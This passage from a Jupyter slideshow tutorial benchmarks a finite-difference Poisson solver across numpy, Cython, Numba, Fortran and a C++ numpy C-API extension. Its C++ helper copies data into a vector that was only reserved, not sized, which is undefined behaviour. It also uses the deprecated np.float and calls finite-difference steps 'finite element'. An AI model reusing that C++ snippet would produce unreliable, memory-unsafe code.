4\\phi_{i,j} = h^2 \\rho_{i,j}$$\n# which is to say, take a point and approximate the derivative at the point as the difference of the points near it.\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# For this example, the boundaries will be defined (using dirichlet boundary conditions). To make it simple, the boundaries will just be constants (could be functions), make\n# $$\\begin{array}\n# \\phi(0, y) = 0 \\\\\n# \\phi(x, 0) = 0 \\\\\n# \\phi(1, y) = 100 \\\\\n# \\phi(x, 1) = 100 \\\\\n# \\rho(.5, .5) = -100/h^2\n# \\end{array}$$\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ### Write like Python for easy gains (and let other programs work it out)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# With Cython and Numba you can get performance gains with hardly any extra effort.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# numpy and n_iter will be used for all code in this section\nimport numpy as np\nn_iter = 100  # set number of finite element iterations for all code below\n\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Start with simple numpy\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Code up the finite difference approximation. Note: there's lots of better ways to implement the finite difference method than what's coded here (e.g. use fft or wavelet), but let's do the simple thing because this is about timings.\n\n# + {\"pixiedust\": {\"displayParams\": {}}, \"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\ndef phi_iteration(rho, phi, h):\n    sz = phi.shape[0]\n    phi_now = phi.copy()\n    # do above equation\n    for j in range(1, sz-1):\n        for i in range(1, sz-1):\n            phi[i, j] = 0.25 * (-h**2 * rho[i,j] + phi_now[i-1, j] + phi_now[i, j-1] \n                                + phi_now[i+1, j] + phi_now[i, j+1])\n    return phi\n\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Now write a function that initializes the boundary values and the source term $\\rho$, and then runs the finite difference iterations.\n\n# + {\"pixiedust\": {\"displayParams\": {}}, \"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\ndef PDE_solve(niter):\n    # define boundary values\n    lower_bndy = 0; upper_bndy = 100\n    sz = 101; h = 1. / (sz - 1)\n    # make grid\n    phi = np.zeros((sz, sz))\n    # apply boundary values\n    phi[-1, :] = upper_bndy; phi[:, -1] = upper_bndy\n    phi[0, :] = lower_bndy; phi[:, 0] = lower_bndy\n    # apply source term\n    rho = np.zeros((sz, sz))\n    rho[sz//2, sz//2] = -100/h**2\n    # iterate PDE steps to get solution\n    for _ in range(niter):\n        phi = phi_iteration(rho, phi, h)\n    return phi\n\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Run timing on the function\n\n# + {\"pixiedust\": {\"displayParams\": {}}, \"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %time phi_soln = PDE_solve(n_iter)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport matplotlib.pyplot as plt\nplt.figure()\nplt.imshow(phi_soln, origin='lower')\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# What is the bottleneck?\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %prun PDE_solve(n_iter)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Cython\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n#  * \"The Cython language is a superset of the Python language that additionally supports calling C functions and declaring C types on variables and class attributes.\"\n#  * If you want to wrap C++, most of the time you should use Cython\n#  * Extensive support for C++ classes (more elaborate classes and multi-inheritance starts breaking down)\n#  * Solutions in Cython range from very Python-like (seen below) code to very C++-like code (consult docs)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# load Cython into notebook\n# %load_ext Cython\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Cython can give some big gains in speed just by declaring variable types\n\n# + {\"code_folding\": [], \"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %%cython\n# declare numpy since it's implicitly wrapped in Cython\nimport numpy as np\n\n# code very similar to before, but now variables are specifically typed\ndef phi_iteration_cython(double[:, ::1] rho, # type inputs\n                          double[:, ::1] phi, \n                          float h):\n    cdef int sz = phi.shape[0]  # type as int\n    cdef int j, i  # type loop variables as int\n    cdef double[:, ::1] phi_now = phi.copy()\n\n    # exact same loop as before\n    for j in range(1, sz-1):\n        for i in range(1, sz-1):\n            phi[i, j] = 0.25 * (-h**2 * rho[i,j] + phi_now[i-1, j] + phi_now[i, j-1] \n                                + phi_now[i+1, j] + phi_now[i, j+1])\n    return phi\n\n# solver is also similar, but now the numpy arrays are typed\ndef PDE_solve_cython(niter):\n    # define boundary values\n    lower_bndy = 0; upper_bndy = 100\n    sz = 101; h = 1. / (sz - 1)\n    # make grid\n    phi = np.zeros((sz, sz), dtype=np.float64)  # this is now typed in np\n    # apply boundary values\n    phi[0, :] = lower_bndy; phi[:, 0] = lower_bndy\n    phi[-1, :] = upper_bndy; phi[:, -1] = upper_bndy\n    # apply source term\n    rho = np.zeros((sz, sz), dtype=np.float64)  # this is now typed\n    rho[sz//2, sz//2] = -100/h**2\n    # iterate PDE steps to get solution\n    for _ in range(niter):\n        phi = phi_iteration_cython(rho, phi, h)\n    return phi\n\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Now run the timings and see if things look better\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %timeit -r 2 -n 100 phi_soln = PDE_solve_cython(n_iter)\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Now tell cython that I know what I'm doing and I promise not to go out of bounds and make segmentation faults.\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"code_folding\": [], \"hideCode\": false, \"hidePrompt\": false}\n# %%cython\nimport numpy as np\ncimport cython\n\n@cython.boundscheck(False)\n@cython.wraparound(False)\ndef phi_iteration_cython2(double[:, ::1] rho, \n                          double[:, ::1] phi, \n                          float h):\n    cdef int sz = phi.shape[0]  # type as int\n    cdef int j, i  # type as int\n    cdef double[:, ::1] phi_now = phi.copy()\n    \n    # same loop as before\n    for j in range(1, sz-1):\n        for i in range(1, sz-1):\n            phi[i, j] = 0.25 * (-h**2 * rho[i,j] + phi_now[i-1, j] + phi_now[i, j-1] \n                                + phi_now[i+1, j] + phi_now[i, j+1])\n    return phi\n\ndef PDE_solve_cython2(niter):\n    # define boundary values\n    lower_bndy = 0; upper_bndy = 100\n    sz = 101; h = 1. / (sz - 1)\n    # make grid\n    phi = np.zeros((sz, sz), dtype=np.float)  # this is now typed\n    # apply boundary values\n    phi[0, :] = lower_bndy; phi[:, 0] = lower_bndy\n    phi[-1, :] = upper_bndy; phi[:, -1] = upper_bndy\n    # apply source term\n    rho = np.zeros((sz, sz), dtype=np.float)  # this is now typed\n    rho[sz//2, sz//2] = -100/h**2\n    # iterate PDE steps to get solution\n    for _ in range(niter):\n        phi = phi_iteration_cython2(rho, phi, h)\n    return phi\n\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %timeit -r 2 phi_soln = PDE_solve_cython2(n_iter)\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Cool.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ![Brent Rambo Approves](https://i.imgflip.com/ljj79.jpg)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Numba\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Numba is JIT (just in time) compiling. Unfortunately, it really only works on simple things (scalars or arrays &mdash; don't be trying to numba your loaded up neural network graph/class), because it needs to be able to interpret the Python generated bytecode and turn it into machine code. \n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ![numba_flow](https://cdn-images-1.medium.com/max/800/1*9n6WpEXjuD2lBSlX2_pU0g.png)\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Numba comes with anaconda, so there shouldn't be anything to install, just import and go.\n\n# + {\"code_folding\": [], \"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nfrom numba import jit\nphi_iteration_numba = jit(nopython=True)(phi_iteration)  # note this is the exact same function as the original slow one\n\n# this is same function as before, but with phi_iteration_numba\ndef PDE_solve_numba(niter):\n    # define boundary values\n    lower_bndy = 0; upper_bndy = 100\n    sz = 101; h = 1. / (sz - 1)\n    # make grid\n    phi = np.zeros((sz, sz))\n    # apply boundary values\n    phi[0, :] = lower_bndy; phi[:, 0] = lower_bndy\n    phi[-1, :] = upper_bndy; phi[:, -1] = upper_bndy\n    # apply source term\n    rho = np.zeros((sz, sz))\n    rho[sz//2, sz//2] = -100/h**2\n    # iterate PDE steps to get solution\n    for _ in range(niter):\n        phi = phi_iteration_numba(rho, phi, h)\n    return phi\n\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# That was easy! Now, see how the numba implementation does in timing.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %timeit -r 2 -n 500 numba_soln = PDE_solve_numba(n_iter)\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hideOutput\": false, \"cell_type\": \"markdown\"}\n# Can also help the type inference aspect of the just in time compiler\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false}\nfrom numba import float64 as nb_float64\n\n# eager interpretation, I'm giving it more information about the function for it to work with in interpreting\nphi_iteration_numba2 = jit(nb_float64[:, :](nb_float64[:, :], nb_float64[:, :], nb_float64), \n                          nopython=True)(phi_iteration)\n\ndef PDE_solve_numba2(niter):\n    # define boundary values\n    lower_bndy = 0; upper_bndy = 100\n    sz = 101; h = 1. / (sz - 1)\n    # make grid\n    phi = np.zeros((sz, sz))\n    # apply boundary values\n    phi[0, :] = lower_bndy; phi[:, 0] = lower_bndy\n    phi[-1, :] = upper_bndy; phi[:, -1] = upper_bndy\n    # apply source term\n    rho = np.zeros((sz, sz))\n    rho[sz//2, sz//2] = -100/h**2\n    # iterate PDE steps to get solution\n    for _ in range(niter):\n        phi = phi_iteration_numba2(rho, phi, h)\n    return phi\n\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %timeit numba_soln = PDE_solve_numba2(n_iter)\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false}\nfrom IPython.display import Image\nImage(url=\"https://media.giphy.com/media/jy0E1KmYYzm8g/giphy.gif\", embed=True)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Better numpy\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# I wasn't fair to numpy earlier, so what if I made my numpy code better to incorporate its vectorization?\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"code_folding\": [12]}\ndef phi_iteration_np(rho, phi, h):\n    sz = phi.shape[0]\n    # do above equation\n#     for j in range(1, sz-1):\n#         for i in range(1, sz-1):\n#             phi[i, j] = 0.25 * (-h**2 * rho[i,j] + phi[i-1, j] + phi[i, j-1] \n#                                 + phi[i+1, j] + phi[i, j+1])\n    # this is now vectorized\n    phi[1:-1, 1:-1] = 0.25 * (-h**2 * rho[1:-1, 1:-1] + phi[:-2, 1:-1] + phi[1:-1, :-2] \n                                + phi[2:, 1:-1] + phi[1:-1, 2:])\n    return phi\n\ndef PDE_solve_np(niter):\n    # define boundary values\n    lower_bndy = 0; upper_bndy = 100\n    sz = 101; h = 1. / (sz - 1)\n    # make grid\n    phi = np.zeros((sz, sz))\n    # apply boundary values\n    phi[0, :] = lower_bndy; phi[:, 0] = lower_bndy\n    phi[-1, :] = upper_bndy; phi[:, -1] = upper_bndy\n    # apply source term\n    rho = np.zeros((sz, sz))\n    rho[sz//2, sz//2] = -100/h**2\n    # iterate PDE steps to get solution\n    for _ in range(niter):\n        phi = phi_iteration_np(rho, phi, h)\n    return phi\n\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %timeit -r 2 phi_soln_np = PDE_solve_np(n_iter)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ### Interface statically typed languages\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# What about interfacing statically typed languages?\n#   * Technically, already did interface C++ with Cython\n#   * Let's interface python with the pillars of coding (there's some blazing fast implementations in these languages):\n#     * Fortran\n#     * C++\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Fortran\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# If you're coming from MATLAB, [fortran](http://www.fortran90.org/src/best-practices.html) is actually very easy to use. The indexing is 1 based by default (can change indexing to 0 based at time of declaration) and there's built-in broadcasting of arrays. Despite the common misconception, the language is not old and useless -- many libraries are calling fortran code in the background (e.g. anything using LAPACK, which is most things).\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Fortran magic compilation from within the notebook itself (basically a wrapper on another program called f2py). The library should be installed from the appropriate anaconda channel or through pip  \n# `conda install -c conda-forge fortran-magic`  \n# `pip install fortran-magic`\n# -\n\n# !pip install fortran-magic\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %load_ext fortranmagic\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Converting the iteration aspect of the finite difference method is pretty simple. The first few lines just declare the variables and whether they get passed in, out, or in/out. The loops are very straightforward.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %%fortran --opt='-O3'\nsubroutine phi_iteration_fortran(rho, phi, h, m, n)\n    integer, intent(in) :: m, n\n    real*8, intent(in) :: rho(m, n), h\n    real*8, intent(inout) :: phi(m, n)\n    real*8, dimension(m, n) :: phi_now\n    integer :: i, j\n    phi_now = phi\n    ! do above equation\n    do i = 2, m - 1\n        do j = 2, n - 1\n            phi(i, j) = 0.25 * (-h**2 * rho(i, j) + phi_now(i-1, j) + phi_now(i, j-1) &\n                                & + phi_now(i+1, j) + phi_now(i, j+1))\n        end do\n    end do\nend subroutine\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Now, similar to numpy broadcasting, can undo the for loops and just do the finite difference with broadcasting (which is built in to fortran)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %%fortran --opt='-O3'\nsubroutine phi_iteration_broadcast(rho, phi, h, m, n)\n    integer, intent(in) :: m, n\n    real*8, intent(in) :: rho(m, n), h\n    real*8, intent(inout) :: phi(m, n)\n    real*8, dimension(m, n) :: phi_now\n    phi_now = phi\n    ! do above equation\n    phi(2:m-1, 2:n-1) = 0.25 * (-h**2 * rho(2:m-1, 2:n-1) + phi(1:m-2, 2:n-1) + phi(2:m-1, 1:n-2) &\n                                & + phi(3:m, 2:n-1) + phi(2:m-1, 3:n)) \nend subroutine\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Fortran also has the ability to easily parallelize loops with openmp.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %%fortran --f90flags='-fopenmp' --extra='-lgomp' --opt='-O3'\nsubroutine phi_iteration_fortran_omp(rho, phi, h, m, n)\n    integer, intent(in) :: m, n\n    real*8, intent(in) :: rho(m, n), h\n    real*8, intent(inout) :: phi(m, n)\n    real*8, dimension(m, n) :: phi_now\n    integer :: i, j\n    phi_now = phi\n    !$omp parallel do private(i, j) collapse(2)\n    do i = 2, m - 1\n        do j = 2, n - 1\n            phi(i, j) = 0.25 * (-h**2 * rho(i, j) + phi_now(i-1, j) + phi_now(i, j-1) &\n                                & + phi_now(i+1, j) + phi_now(i, j+1))\n        end do\n    end do\n    !$omp end parallel do\nend subroutine\n\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# As before, make a function that will setup the iterations. Unlike before (working with numba and Cython) where there were nuances in type declarations that forced me to remake the \"caller function\" accordingly, just make it so I can call whatever function I want.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\ndef PDE_solve_fortran(niter, func):\n    # define boundary values\n    lower_bndy = 0; upper_bndy = 100\n    sz = 101; h = 1. / (sz - 1)\n    # make grid\n    phi = np.zeros((sz, sz), order='F', dtype=np.float64)\n    # apply boundary values\n    phi[0, :] = lower_bndy; phi[:, 0] = lower_bndy\n    phi[-1, :] = upper_bndy; phi[:, -1] = upper_bndy\n    # apply source term\n    rho = np.zeros((sz, sz), order='F', dtype=np.float64)\n    rho[sz//2, sz//2] = -100/h**2\n    # iterate PDE steps to get solution\n    for _ in range(niter):\n        func(rho, phi, h, sz, sz)\n    return phi\n\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Now test the timings. \n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %timeit -r 2 -n 100 phi_soln_f = PDE_solve_fortran(n_iter, phi_iteration_fortran)\n# %timeit -r 2 -n 100 phi_soln_fb = PDE_solve_fortran(n_iter, phi_iteration_broadcast)\n# %timeit -r 2 -n 100 phi_soln_fomp = PDE_solve_fortran(n_iter, phi_iteration_fortran_omp)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Side note, look how easy it is to pass in the functions (after all, they are just objects) compared to MATLAB where you'd have to make handles or some anonymous function that wraps up the calls.\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Just to show that the answer is the same as before, the improvement isn't because the code is wrong.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport matplotlib.pyplot as plt\nphi_soln_f = PDE_solve_fortran(n_iter, phi_iteration_fortran)\nplt.figure()\nplt.imshow(phi_soln_f, origin='lower')\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### C++\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Most major python libraries have some level of C++ code in the background (e.g. numpy, scipy, and even Python itself &mdash; not to mention the bytecode interpreter). As such, the interface between Python and C++ has lots of capabilities &mdash; but also lots of information to get lost in. Since this is about algorithm development in Python, not trying to build up Django from scratch, I'm just going to go into interfacing with numpy.  \n#   * [Here's](https://docs.scipy.org/doc/numpy-1.16.1/reference/c-api.html) a more in-depth look at all the numpy C-API functionalities.  \n#   * The full-on Python information for its C-API can be found [here](https://docs.python.org/3/c-api/index.html).\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# The basics:  \n#   * Use a C-structure (usually named Py{Name}Object) that is binary- compatible with the PyObject structure itself but holds the additional information needed for that particular object \n#   * Pointers to PyTypeObject can safely be cast to PyObject pointers, whereas the inverse is safe only if the object is known to be an array. \n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# In this case, we're interested in the [PyArrayObject](https://docs.scipy.org/doc/numpy-1.16.1/reference/c-api.types-and-structures.html)\n# ```C++\n# typedef struct PyArrayObject \n# {\n#     PyObject_HEAD  // formality\n#     char *data;  // the data bytes\n#     int nd;  // array dimensionality\n#     npy_intp *dimensions;  // the shape of the dimensions\n#     npy_intp *strides;  // the byte strides in each dimension\n#     PyObject *base;  // manages memory if a \"copy\" of another array\n#     PyArray_Descr *descr;  // struct for memory and data types (endian, bool, int, etc.)\n#     int flags;  // Flags indicating how the memory pointed to by data (C-style, F-style, contiguous, etc.)\n#     PyObject *weakreflist;\n# } PyArrayObject;\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"cell_type\": \"markdown\"}\n# Note: all the cpp code below needs more and better error checking, if you develop you should do error checking but they're omitted here in order to not clutter the concepts.\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# So, let's dive in and see how things work. The first piece of code to develop will be reading in a value from python\n#\n# ```C++\n# PyObject*\n# pde_solve_cpp(PyObject *self, PyObject *args)\n# {\n#     // read in n_iter\n#     int n_iter;\n#     if (!PyArg_ParseTuple(args, \"i\", &n_iter))\n#     {\n#         std::cerr << \"Bad input parameters. Put in just n_iter.\" << std::endl;\n#         return NULL;\n#     }\n#     ...\n# }\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# This first bit just says we will return a pointer to a PyObject*, which is really just to say that we're going to give Python all the bits that go into making a Python object. The first argument is a dummy argument and not used. The second argument contains all the input. In this case, it will contain the number of finite element iterations.\n# ```C++\n# PyObject*\n# pde_solve_cpp(PyObject *self, PyObject *args)\n# {\n#     ...\n# }\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# The next piece parses the expected values from the passed arguments. In this case, we are expecting an integer, so read the args and put it into the n_iter memory reference. [This](https://docs.python.org/3/c-api/arg.html) goes over what do with more arguments, including keywords.\n# ```C++\n# PyObject*\n# pde_solve_cpp(PyObject *self, PyObject *args)\n# {\n#     // read in n_iter\n#     int n_iter;\n#     if (!PyArg_ParseTuple(args, \"i\", &n_iter))\n#     {\n#         std::cerr << \"Bad input parameters. Put in just n_iter.\" << std::endl;\n#         return NULL;\n#     }\n# ...\n# }\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Now, just like in the Python version, initialize the variables and boundary values.\n# ```C++\n# PyObject*\n# pde_solve_cpp(PyObject *self, PyObject *args)\n# {\n#     ...\n#     // problem size\n#     constexpr int sz = 101;\n#     const int rows = sz;\n#     const int cols = sz;\n#     vector<double> phi(rows * cols, 0.0);  // initialize with 0s\n#     // fill last row with 100.0 BC\n#     std::fill(phi.begin() + (rows - 1)*cols,\n#               phi.end(), 100.0);\n#     // make last column 100.0 BC\n#     for (int i = 0; i < rows; ++i)\n#     {\n#         phi[i * cols + cols - 1] = 100.0;\n#     }\n#     double h = 1 / (static_cast<double>(sz) - 1);  // step size\n#     // initialize source term and apply BC\n#     vector<double> rho(rows * cols, 0.0);\n#     rho[rows/2 * cols + cols/2] = -100.0 / (h * h);\n#     ...\n# }\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Then run the finite element iterations.\n# ```C++\n# pde_solve_cpp(PyObject *self, PyObject *args)\n# {\n#     ...\n#     for(auto i = 0; i < n_iter; ++i)\n#     {\n#         phi_iteration_cpp(phi, rho, h, rows, cols);\n#     }\n#     ...\n# }\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Where the finite_element iteration is the same old thing, though using linear indexing instead of 2D array indexing. (In linear indexing arr[i, j] -> arr[i*cols + j], based on the row-major memory order shown earlier.)\n# ```C++\n# void\n# phi_iteration_cpp(vector<double>& phi,\n#                   const vector<double>& rho,\n#                   const double h,\n#                   const int rows,\n#                   const int cols)\n# {\n#     vector<double> phi_now;\n#     double finite_elem;\n#     phi_now.reserve(phi.size());\n#     std::copy(phi.begin(), phi.end(), phi_now.begin());\n#\n#     // do update equation\n#     for(int i=1; i < rows - 1; ++i)\n#     {\n#         for(int j=1; j < cols - 1; ++j)\n#         {\n#             finite_elem =\n#                    (-h*h * rho[i * cols + j] +\n#                     phi_now[(i - 1) * cols + j] +\n#                     phi_now[i * cols + (j - 1)] +\n#                     phi_now[(i + 1) * cols + j] +\n#                     phi_now[i * cols + (j + 1)]);\n#             phi[i * cols + j] = 0.25 * finite_elem;\n#         }\n#     }\n# }\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Lastly, in the pde_solve_cpp function, we need to send the calculated phi vector off to numpy. Essentially, this makes an array telling numpy what dimensions to use (the rows and cols), then convert the phi vector into a Python object and return it. Pretty simple. (Will go into vector_to_2Dnparray function next.)\n# ```C++\n# PyObject*\n# pde_solve_cpp(PyObject *self, PyObject *args)\n# {\n#     ...\n#     // point to array for np to make Python object\n#     npy_intp dims[2]{rows, cols};\n#     PyObject* phi_np = vector_to_2Dnparray(phi, dims, NPY_DOUBLE);\n#     return phi_np;\n# }\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Converting the vector is actually pretty easy. One thing to mention is that the vector data needs to be copied into the numpy array because C++ will deallocate the vector memory once the vector goes out of scope. If I had used arrays, I wouldn't have to copy, but I would have to tell numpy that it has the job of freeing the memory.\n# ```C++\n# template<typename T>\n# static PyObject* vector_to_2Dnparray(const vector<T>& vec, npy_intp* dims, int type_num)\n# {\n#     // note assumes row-major order, can either handle column-major at numpy level or with different API calls\n#     // not empty\n#     if( !vec.empty() ){\n#         PyObject* vec_array = PyArray_SimpleNew(2, dims, type_num);\n#         T *vec_array_pointer = (T*) PyArray_DATA(vec_array);\n#\n#         std::copy(vec.begin(), vec.end(), vec_array_pointer);\n#         return vec_array;\n#\n#     // no data at all\n#     } else {\n#         npy_intp dims[1] = {0};\n#         return (PyObject*) PyArray_ZEROS(1, dims, type_num, 0);\n#     }\n#\n# }\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# The main pieces to pay attention to are\n# ```C++\n#         PyObject* vec_array = PyArray_SimpleNew(2, dims, type_num);\n#         T *vec_array_pointer = (T*) PyArray_DATA(vec_array);\n# ```\n# which uses the numpy API to allocate memory for a 2D array, with the passed in dims (rows, cols) and the defined type_num (double in this case).\n# ```C++\n#         std::copy(vec.begin(), vec.end(), vec_array_pointer);\n#         return vec_array;\n# ```\n# This snippet then copies all the data in the vector to the numpy array and returns it.\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Lastly there's just some wrapping overhead to tell Python which C++ code to use and how I want to call the C++ code\n# ```C++\n# static PyMethodDef\n# pde_solve_cpp_method[] =\n# {\n#     {\n#         